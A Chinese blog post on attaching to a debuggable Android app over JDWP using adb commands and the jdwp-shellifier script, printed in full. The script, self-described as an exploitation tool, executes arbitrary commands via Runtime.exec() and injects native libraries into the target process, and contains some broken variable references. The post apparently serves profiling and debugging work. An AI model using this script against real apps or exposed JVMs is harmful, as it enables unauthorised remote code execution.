可可西

使用jdwp-shellifier来Attach app并继续运行

将app设置为Waiting For Debugger

①  仅标记app下次启动等待debugger

adb shell am set-debug-app -w com.tencent.mf.mytest1

② 标记app每次启动等待debugger

 

拉起app进程

adb shell monkey -p com.tencent.mf.mytest1 -c android.intent.category.LAUNCHER 1

 

拿到 jdwp id,并做端口转发,用于传输数据

adb jdwp // 返回jdwp id : xxxx
adb forward tcp:8700 jdwp:xxxx

 

Attach app,然后继续运行

<ndk>\android-ndk-r21c\prebuilt\windows-x86_64\bin\python.exe jdwp-shellifier.py --target 127.0.0.1 --port 8700 --break-on android.app.Activity.onResume

注:jdwp-shellifier.py需使用phthon2来执行。<ndk>\android-ndk-r21c\prebuilt\windows-x86_64\bin\python.exe的版本为2.7.5

 

jdwp-shellifier为一个使用JDWP服务来执行远程代码的python脚本。具体用法可查看:https://github.com/IOActive/jdwp-shellifier/

 

整体架构如下

 

本文使用的jdwp-shellifier.py版本

#!/usr/bin/python
################################################################################
#
# Universal JDWP shellifier
#
# @_hugsy_
#
# And special cheers to @lanjelot
#
# loadlib option by @ikoz
#

import argparse
import json
import logging
import logging.config
import os
import socket
import struct
import sys
import time
import traceback
import urllib

################################################################################
#
# JDWP protocol variables
#
HANDSHAKE = "JDWP-Handshake"

REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80

# Command signatures
VERSION_SIG = (1, 1)
CLASSESBYSIGNATURE_SIG = (1, 2)
ALLCLASSES_SIG = (1, 3)
ALLTHREADS_SIG = (1, 4)
IDSIZES_SIG = (1, 7)
CREATESTRING_SIG = (1, 11)
SUSPENDVM_SIG = (1, 8)
RESUMEVM_SIG = (1, 9)
SIGNATURE_SIG = (2, 1)
FIELDS_SIG = (2, 4)
METHODS_SIG = (2, 5)
GETVALUES_SIG = (2, 6)
CLASSOBJECT_SIG = (2, 11)
INVOKESTATICMETHOD_SIG = (3, 3)
REFERENCETYPE_SIG = (9, 1)
INVOKEMETHOD_SIG = (9, 6)
STRINGVALUE_SIG = (10, 1)
THREADNAME_SIG = (11, 1)
THREADSUSPEND_SIG = (11, 2)
THREADRESUME_SIG = (11, 3)
THREADSTATUS_SIG = (11, 4)
EVENTSET_SIG = (15, 1)
EVENTCLEAR_SIG = (15, 2)
EVENTCLEARALL_SIG = (15, 3)

# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1


################################################################################
#
# JDWP client class
#
class JDWPClient:

    def __init__(self, host, port=8000):
        self.host = host
        self.port = port
        self.methods = {}
        self.fields = {}
        self.id = 0x01
        self.socket = None
        self.classes = []
        self.threads = []

    def create_packet(self, cmd_sig, data=""):
        flags = 0x00
        cmd_set, cmd = cmd_sig
        pkt_len = len(data) + 11
        pkt = struct.pack(">IIccc", pkt_len, self.id, chr(flags), chr(cmd_set), chr(cmd))
        pkt += data
        self.id += 2
        return pkt

    def read_reply(self):
        header = self.socket.recv(11)
        pkt_len, id, flags, errcode = struct.unpack(">IIcH", header)

        if flags == chr(REPLY_PACKET_TYPE):
            if errcode:
                logger.error("Received errcode %d" % errcode)
                raise Exception("Received errcode %d" % errcode)
        buf = ""
        while len(buf) + 11 < pkt_len:
            data = self.socket.recv(1024)
            if len(data):
                buf += data
            else:
                time.sleep(1)
        return buf

    def parse_entries(self, buf, formats, explicit=True):
        entries = []
        index = 0

        if explicit:
            nb_entries = struct.unpack(">I", buf[:4])[0]
            buf = buf[4:]
        else:
            nb_entries = 1
        for i in range(nb_entries):
            data = {}
            for fmt, name in formats:
                if fmt == "L" or fmt == 8:
                    data[name] = int(struct.unpack(">Q", buf[index:index + 8])[0])
                    index += 8
                elif fmt == "I" or fmt == 4:
                    data[name] = int(struct.unpack(">I", buf[index:index + 4])[0])
                    index += 4
                elif fmt == 'S':
                    l = struct.unpack(">I", buf[index:index + 4])[0]
                    data[name] = buf[index + 4:index + 4 + l]
                    index += 4 + l
                elif fmt == 'C':
                    data[name] = ord(struct.unpack(">c", buf[index])[0])
                    index += 1
                elif fmt == 'Z':
                    t = ord(struct.unpack(">c", buf[index])[0])
                    if t == 115:
                        s = self.solve_string(buf[index + 1:index + 9])
                        data[name] = s
                        index += 9
                    elif t == 73:
                        data[name] = struct.unpack(">I", buf[index + 1:index + 5])[0]
                        buf = struct.unpack(">I", buf[index + 5:index + 9])
                        index = 0
                else:
                    logger.error("error")
                    sys.exit(1)
            entries.append(data)
        return entries

    def format(self, fmt, value):
        if fmt == "L" or fmt == 8:
            return struct.pack(">Q", value)
        elif fmt == "I" or fmt == 4:
            return struct.pack(">I", value)
        logger.error("Unknown format")
        raise Exception("Unknown format")

    def unformat(self, fmt, value):
        if fmt == "L" or fmt == 8:
            return struct.unpack(">Q", value[:8])[0]
        elif fmt == "I" or fmt == 4:
            return struct.unpack(">I", value[:4])[0]
        else:
            logger.error("Unknown format")
            raise Exception("Unknown format")

    def start(self):
        self.handshake(self.host, self.port)
        self.id_sizes()
        self.get_version()
        self.all_classes()

    def handshake(self, host, port):
        s = socket.socket()
        try:
            s.connect((host, port))
        except socket.error as msg:
            logger.error("Failed to connect: %s" % msg)
            raise Exception("Failed to connect: %s" % msg)
        s.send(HANDSHAKE)

        if s.recv(len(HANDSHAKE)) != HANDSHAKE:
            logger.error("Failed to handshake, Please close AndroidStudio, UE4 and other programs that may occupy ADB before using this program")
            raise Exception("Failed to handshake")
        else:
            self.socket = s

    def leave(self):
        self.socket.close()

    def get_version(self):
        self.socket.sendall(self.create_packet(VERSION_SIG))
        buf = self.read_reply()
        formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"),
                   ('S', "vmVersion"), ('S', "vmName"), ]
        for entry in self.parse_entries(buf, formats, False):
            for name, value in entry.iteritems():
                setattr(self, name, value)

    @property
    def version(self):
        return "%s - %s" % (self.vmName, self.vmVersion)

    def id_sizes(self):
        self.socket.sendall(self.create_packet(IDSIZES_SIG))
        buf = self.read_reply()
        formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"),
                   ("I", "referenceTypeIDSize"), ("I", "frameIDSize")]
        for entry in self.parse_entries(buf, formats, False):
            for name, value in entry.iteritems():
                setattr(self, name, value)

    def all_threads(self):
        try:
            getattr(self, "threads")
        except Exception as e:
            logger.error(e)
            self.socket.sendall(self.create_packet(ALLTHREADS_SIG))
            buf = self.read_reply()
            formats = [(self.objectIDSize, "threadId")]
            self.threads = self.parse_entries(buf, formats)

    def get_thread_by_name(self, name):
        self.all_threads()
        for t in self.threads:
            thread_id = self.format(self.objectIDSize, t["threadId"])
            self.socket.sendall(self.create_packet(THREADNAME_SIG, data=thread_id))
            buf = self.read_reply()
            if len(buf) and name == self.readstring(buf):
                return t
        return None

    def all_classes(self):
        self.socket.sendall(self.create_packet(ALLCLASSES_SIG))
        buf = self.read_reply()
        logger.error(buf)
        formats = [('C', "refTypeTag"),
                   (self.referenceTypeIDSize, "refTypeId"),
                   ('S', "signature"),
                   ('I', "status")]
        self.classes = self.parse_entries(buf, formats)
        return self.classes

    def get_class_by_name(self, name):
        for entry in self.classes:
            if entry["signature"].lower() == name.lower():
                return entry
        return None

    def get_methods(self, ref_type_id):
        if not self.methods.has_key(ref_type_id):
            ref_id = self.format(self.referenceTypeIDSize, ref_type_id)
            self.socket.sendall(self.create_packet(METHODS_SIG, data=ref_id))
            buf = self.read_reply()
            formats = [(self.methodIDSize, "methodId"),
                       ('S', "name"),
                       ('S', "signature"),
                       ('I', "modBits")]
            self.methods[ref_type_id] = self.parse_entries(buf, formats)
        return self.methods[ref_type_id]

    def get_method_by_name(self, name):
        for ref_id in self.methods.keys():
            for entry in self.methods[ref_id]:
                if entry["name"].lower() == name.lower():
                    return entry
        return None

    def get_file_id(self, ref_type_id):
        if not self.fields.has_key(refTypeId):
            ref_id = self.format(self.referenceTypeIDSize, ref_type_id)
            self.socket.sendall(self.create_packet(FIELDS_SIG, data=ref_id))
            buf = self.read_reply()
            formats = [(self.fieldIDSize, "fieldId"),
                       ('S', "name"),
                       ('S', "signature"),
                       ('I', "modbits")]
            self.fields[ref_type_id] = self.parse_entries(buf, formats)
        return self.fields[ref_type_id]

    def get_value(self, ref_type_id, field_id):
        data = self.format(self.referenceTypeIDSize, ref_type_id)
        data += struct.pack(">I", 1)
        data += self.format(self.fieldIDSize, field_id)
        self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data))
        buf = self.read_reply()
        formats = [("Z", "value")]
        field = self.parse_entries(buf, formats)[0]
        return field

    def create_string(self, data):
        buf = self.buildstring(data)
        self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf))
        buf = self.read_reply()
        return self.parse_entries(buf, [(self.objectIDSize, "objId")], False)

    def buildstring(self, data):
        return struct.pack(">I", len(data)) + data

    def readstring(self, data):
        size = struct.unpack(">I", data[:4])[0]
        return data[4:4 + size]

    def suspendvm(self):
        self.socket.sendall(self.create_packet(SUSPENDVM_SIG))
        self.read_reply()
        return

    def resume_vm(self):
        self.socket.sendall(self.create_packet(RESUMEVM_SIG))
        self.read_reply()
        return

    def invoke_static(self, class_id, thread_id, method_id, *args):
        data = self.format(self.referenceTypeIDSize, class_id)
        data += self.format(self.objectIDSize, thread_id)
        data += self.format(self.methodIDSize, method_id)
        data += struct.pack(">I", len(args))
        for arg in args:
            data += arg
        data += struct.pack(">I", 0)

        self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data))
        buf = self.read_reply()
        return buf

    def invoke(self, obj_id, thread_id, class_id, method_id, *args):
        data = self.format(self.objectIDSize, obj_id)
        data += self.format(self.objectIDSize, thread_id)
        data += self.format(self.referenceTypeIDSize, class_id)
        data += self.format(self.methodIDSize, method_id)
        data += struct.pack(">I", len(args))
        for arg in args:
            data += arg
        data += struct.pack(">I", 0)

        self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data))
        buf = self.read_reply()
        return buf

    def invoke_void(self, obj_id, thread_id, class_id, method_id, *args):
        data = self.format(self.objectIDSize, obj_id)
        data += self.format(self.objectIDSize, thread_id)
        data += self.format(self.referenceTypeIDSize, class_id)
        data += self.format(self.methodIDSize, method_id)
        data += struct.pack(">I", len(args))
        for arg in args:
            data += arg
        data += struct.pack(">I", 0)

        self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data))
        buf = None
        return buf

    def solve_string(self, obj_id):
        self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=obj_id))
        buf = self.read_reply()
        if len(buf):
            return self.readstring(buf)
        else:
            return ""

    def query_thread(self, thread_id, kind):
        data = self.format(self.objectIDSize, thread_id)
        self.socket.sendall(self.create_packet(kind, data=data))

    def suspend_thread(self, thread_id):
        return self.query_thread(thread_id, THREADSUSPEND_SIG)

    def status_thread(self, thread_id):
        return self.query_thread(thread_id, THREADSTATUS_SIG)

    def resume_thread(self, thread_id):
        return self.query_thread(thread_id, THREADRESUME_SIG)

    def send_event(self, event_code, *args):
        data = ""
        data += chr(event_code)
        data += chr(SUSPEND_ALL)
        data += struct.pack(">I", len(args))

        for kind, option in args:
            data += chr(kind)
            data += option

        self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data))
        buf = self.read_reply()
        return struct.unpack(">I", buf)[0]

    def clear_event(self, event_code, r_id):
        data = chr(event_code)
        data += struct.pack(">I", r_id)
        self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data))
        self.read_reply()
        return

    def clear_events(self):
        self.socket.sendall(self.create_packet(EVENTCLEARALL_SIG))
        self.read_reply()
        return

    def wait_for_event(self):
        buf = self.read_reply()
        return buf

    def parse_event_breakpoint(self, buf, event_id):
        num = struct.unpack(">I", buf[2:6])[0]
        r_id = struct.unpack(">I", buf[6:10])[0]
        if r_id != event_id:
            return None
        t_id = self.unformat(self.objectIDSize, buf[10:10 + self.objectIDSize])
        loc = -1  # don't care
        return r_id, t_id, loc


def runtime_exec(jdwp, args):
    logger.info("[+] Targeting '%s:%d'" % (args.target, args.port))
    logger.info("[+] Reading settings for '%s'" % jdwp.version)

    # 1. get Runtime class reference
    runtime_class = jdwp.get_class_by_name("Ljava/lang/Runtime;")
    if runtime_class is None:
        logger.error("[-] Cannot find class Runtime")
        return False
    logger.info("[+] Found Runtime class: id=%x" % runtime_class["refTypeId"])

    # 2. get getRuntime() method reference
    jdwp.get_methods(runtime_class["refTypeId"])
    runtime_method = jdwp.get_method_by_name("getRuntime")
    if runtime_method is None:
        logger.error("[-] Cannot find method Runtime.getRuntime()")
        return False
    logger.info("[+] Found Runtime.getRuntime(): id=%x" % runtime_method["methodId"])

    # 3. setup breakpoint on frequently called method
    c = jdwp.get_class_by_name(args.break_on_class)
    if c is None:
        logger.error("[-] Could not access class '%s'" % args.break_on_class)
        logger.error("[-] It is possible that this class is not used by application")
        logger.error("[-] Test with another one with option `--break-on`")
        return False

    jdwp.get_methods(c["refTypeId"])
    m = jdwp.get_method_by_name(args.break_on_method)
    if m is None:
        logger.error("[-] Could not access method '%s'" % args.break_on)
        return False

    loc = chr(TYPE_CLASS)
    loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"])
    loc += jdwp.format(jdwp.methodIDSize, m["methodId"])
    loc += struct.pack(">II", 0, 0)
    data = [(MODKIND_LOCATIONONLY, loc), ]
    r_id = jdwp.send_event(EVENT_BREAKPOINT, *data)
    logger.info("[+] Created break event id=%x" % r_id)

    # 4. resume vm and wait for event
    jdwp.resume_vm()
    logger.info("[+] Waiting for an event on '%s'" % args.break_on)
    while True:
        buf = jdwp.wait_for_event()
        ret = jdwp.parse_event_breakpoint(buf, r_id)
        if ret is not None:
            break

    r_id, t_id, loc = ret
    logger.info("[+] Received matching event from thread %#x" % t_id)

    # time.sleep(1)
    # jdwp.clear_event(EVENT_BREAKPOINT, r_id)

    # 5. Now we can execute any code
    if args.cmd:
        runtime_exec_payload(jdwp, t_id, runtime_class["refTypeId"], runtime_method["methodId"], args.cmd)
    elif args.loadlib:
        package_name = get_package_name(jdwp, t_id)
        tmp_location = "/data/local/tmp/" + args.loadlib
        dst_location = "/data/data/" + package_name + "/" + args.loadlib
        command = "cp " + tmp_location + " " + dst_location
        logger.info("[*] Copying library from " + tmp_location + " to " + dst_location)
        runtime_exec_payload(jdwp, t_id, runtime_class["refTypeId"], runtime_method["methodId"], command)
        time.sleep(2)
        logger.info("[*] Executing Runtime.load(" + dst_location + ")")
        runtime_load_payload(jdwp, t_id, runtime_class["refTypeId"], runtime_method["methodId"], dst_location)
        time.sleep(2)
        logger.info("[*] Library should now be loaded")
    else:
        # by default, only prints out few system properties
        runtime_exec_info(jdwp, tId)
    jdwp.resume_vm()
    logger.info("[!] Command successfully executed")
    return True


def runtime_exec_info(jdwp, thread_id):
    #
    # This function calls java.lang.System.getProperties() and
    # displays OS properties (non-intrusive)
    #
    properties = {"java.version": "Java Runtime Environment version",
                  "java.vendor": "Java Runtime Environment vendor",
                  "java.vendor.url": "Java vendor URL",
                  "java.home": "Java installation directory",
                  "java.vm.specification.version": "Java Virtual Machine specification version",
                  "java.vm.specification.vendor": "Java Virtual Machine specification vendor",
                  "java.vm.specification.name": "Java Virtual Machine specification name",
                  "java.vm.version": "Java Virtual Machine implementation version",
                  "java.vm.vendor": "Java Virtual Machine implementation vendor",
                  "java.vm.name": "Java Virtual Machine implementation name",
                  "java.specification.version": "Java Runtime Environment specification version",
                  "java.specification.vendor": "Java Runtime Environment specification vendor",
                  "java.specification.name": "Java Runtime Environment specification name",
                  "java.class.version": "Java class format version number",
                  "java.class.path": "Java class path",
                  "java.library.path": "List of paths to search when loading libraries",
                  "java.io.tmpdir": "Default temp file path",
                  "java.compiler": "Name of JIT compiler to use",
                  "java.ext.dirs": "Path of extension directory or directories",
                  "os.name": "Operating system name",
                  "os.arch": "Operating system architecture",
                  "os.version": "Operating system version",
                  "file.separator": "File separator",
                  "path.separator": "Path separator",
                  "user.name": "User's account name",
                  "user.home": "User's home directory",
                  "user.dir": "User's current working directory"
                  }

    system_class = jdwp.get_class_by_name("Ljava/lang/System;")
    if systemClass is None:
        logger.error("[-] Cannot find class java.lang.System")
        return False

    jdwp.get_methods(system_class["refTypeId"])
    get_property_method = jdwp.get_method_by_name("getProperty")
    if get_property_method is None:
        logger.error("[-] Cannot find method System.getProperty()")
        return False

    for prop_str, prop_desc in properties.iteritems():
        prop_obj_ids = jdwp.create_string(prop_str)
        if len(prop_obj_ids) == 0:
            logger.error("[-] Failed to allocate command")
            return False
        prop_obj_id = prop_obj_ids[0]["objId"]

        data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, prop_obj_id), ]
        buf = jdwp.invoke_static(systemClass["refTypeId"],
                                thread_id,
                                get_property_method["methodId"],
                                *data)
        if buf[0] != chr(TAG_STRING):
            logger.info("[-] %s: Unexpected returned type: expecting String" % prop_str)
        else:
            ret_id = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
            res = cli.solve_string(jdwp.format(jdwp.objectIDSize, ret_id))
            logger.info("[+] Found %s '%s'" % (prop_desc, res))
    return True


def runtime_exec_payload(jdwp, thread_id, runtime_class_id, runtime_method_id, command):
    #
    # This function will invoke command as a payload, which will be running
    # with JVM privilege on host (intrusive).
    #
    logger.info("[+] Selected payload '%s'" % command)

    # 1. allocating string containing our command to exec()
    cmd_obj_ids = jdwp.create_string(command)
    if len(cmd_obj_ids) == 0:
        logger.error("[-] Failed to allocate command")
        return False
    cmd_obj_id = cmd_obj_ids[0]["objId"]
    logger.info("[+] Command string object created id:%x" % cmd_obj_id)

    # 2. use context to get Runtime object
    buf = jdwp.invoke_static(runtime_class_id, thread_id, runtime_method_id)
    if buf[0] != chr(TAG_OBJECT):
        logger.error("[-] Unexpected returned type: expecting Object")
        return False
    rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    if rt is None:
        logger.error("[-] Failed to invoke Runtime.getRuntime()")
        return False
    logger.info("[+] Runtime.getRuntime() returned context id:%#x" % rt)

    # 3. find exec() method
    exec_method = jdwp.get_method_by_name("exec")
    if exec_method is None:
        logger.error("[-] Cannot find method Runtime.exec()")
        return False
    logger.info("[+] found Runtime.exec(): id=%x" % exec_method["methodId"])

    # 4. call exec() in this context with the alloc-ed string
    data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmd_obj_id)]
    buf = jdwp.invoke(rt, thread_id, runtime_class_id, exec_method["methodId"], *data)
    if buf[0] != chr(TAG_OBJECT):
        logger.error("[-] Unexpected returned type: expecting Object")
        return False
    logger.info("[+] Runtime.exec() successful, retId=%x" % jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]))
    return True


def get_package_name(jdwp, thread_id):
    #
    # This function will invoke ActivityThread.currentApplication().getPackageName()
    #
    activity_thread_class = jdwp.get_class_by_name("Landroid/app/ActivityThread;")
    if activity_thread_class is None:
        logger.error("[-] Cannot find class android.app.ActivityThread")
        return False

    context_wrapper_class = jdwp.get_class_by_name("Landroid/content/ContextWrapper;")
    if context_wrapper_class is None:
        logger.error("[-] Cannot find class android.content.ContextWrapper")
        return False

    jdwp.get_methods(activity_thread_class["refTypeId"])
    jdwp.get_methods(context_wrapper_class["refTypeId"])

    get_context_method = jdwp.get_method_by_name("currentApplication")
    if get_context_method is None:
        logger.error("[-] Cannot find method ActivityThread.currentApplication()")
        return False

    buf = jdwp.invoke_static(
        activity_thread_class["refTypeId"], thread_id, get_context_method["methodId"])
    if buf[0] != chr(TAG_OBJECT):
        logger.error("[-] Unexpected returned type: expecting Object")
        return False
    rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
    if rt is None:
        logger.error("[-] Failed to invoke ActivityThread.currentApplication()")
        return False

    # 3. find getPackageName() method
    get_package_name_method = jdwp.get_method_by_name("getPackageName")
    if get_package_name is None:
        logger.error("[-] Cannot find method ActivityThread.currentApplication().getPackageName()")
        return False

    # 4. call getPackageNameMeth()
    buf = jdwp.invoke(rt, thread_id, context_wrapper_class["refTypeId"], get_package_name_method["methodId"])
    if buf[0] != chr(TAG_STRING):
        logger.info("[-] %s: Unexpected returned type: expecting String")
    else:
        ret_id = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])
        res = cli.solve_string(jdwp.format(jdwp.objectIDSize, ret_id))
        logger.info("[+] getPackageMethod(): '%s'" % res)
    return "%s" % res


def runtime_load_payload(jdwp, thread_id, runtime_class_id, runtime_method_id, library):
    #
    # This function will run Runtime.load() with library as a payload
    #

    # print("[+] Selected payload '%s'" % library)

    # 1. allocating string containing our command to exec()
    cmd_obj_ids = jdwp.create_string(library)
    if len(cmd_obj_ids) == 0:
        logger.error("[-] Failed to allocate library string")
        return False
    cmd_obj_id = cmd_obj_ids[0]["objId"]
    logger.info("[+] Command string object created id:%x" % cmd_obj_id)

    # 2. use context to get Runtime object
    buf = jdwp.invoke_static(runtime_class_id, thread_id, runtime_method_id)
    if buf[0] != chr(TAG_OBJECT):
        logger.error("[-] Unexpected returned type: expecting Object")
        return False
    rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize])

    if rt is None:
        logger.error("[-] Failed to invoke Runtime.getRuntime()")
        return False
    # print("[+] Runtime.getRuntime() returned context id:%#x" % rt)

    # 3. find load() method
    load_method = jdwp.get_method_by_name("load")
    if load_method is None:
        logger.error("[-] Cannot find method Runtime.load()")
        return False
    # print("[+] found Runtime.load(): id=%x" % loadMeth["methodId"])

    # 4. call exec() in this context with the alloc-ed string
    data = [chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmd_obj_id)]
    jdwp.invoke_void(rt, thread_id, runtime_class_id, load_method["methodId"], *data)
    logger.info("[+] Runtime.load(%s) probably successful" % library)
    return True


def path_parse(s):
    i = s.rfind('.')
    if i == -1:
        logger.error('Cannot parse path')
        sys.exit(1)
    return 'L' + s[:i].replace('.', '/') + ';', s[i:][1:]


def setup_logging(default_path='logging.json', default_level=logging.INFO):
    if os.path.exists(default_path):
        with open(default_path, 'r') as f:
            config = json.load(f)
            logging.config.dictConfig(config)
    else:
        logging.basicConfig(level=default_level)
    return logging.getLogger('jdwp')


if __name__ == "__main__":
    logger = setup_logging(default_path=os.path.join(os.getcwd(), 'logging.json'))
    if sys.version > '3':
        logger.error("Currently only supports python2!")
    parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_",
                                     formatter_class=argparse.ArgumentDefaultsHelpFormatter)

    parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True)
    parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port")

    parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD",
                        default="java.net.ServerSocket.accept", help="Specify full path to method to break on")
    parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND",
                        help="Specify command to execute remotely")
    parser.add_argument("--loadlib", dest="loadlib", type=str, metavar="LIBRARYNAME",
                        help="Specify library to inject into process load")

    args = parser.parse_args()

    class_name, method_name = path_parse(args.break_on)
    setattr(args, "break_on_class", class_name)
    setattr(args, "break_on_method", method_name)

    ret_code = 0

    try:
        cli = JDWPClient(args.target, args.port)
        cli.start()
        if not runtime_exec(cli, args):
            logger.error("[-] Exploit failed")
            ret_code = 1
    except KeyboardInterrupt:
        logger.error("[+] Exiting on user's request")
    except Exception as e:
        logger.error("[-] Exception: %s" % e)
        traceback.print_exc()
        ret_code = 1
        cli = None
    finally:
        if cli:
            cli.leave()

    sys.exit(ret_code)

参考

github:loli_profiler(jdwp-shellifier.py)

Library injection for debuggable Android apps

 

 

posted on 2021-12-20 19:58  可可西  阅读(618)  评论(0编辑  收藏  举报

导航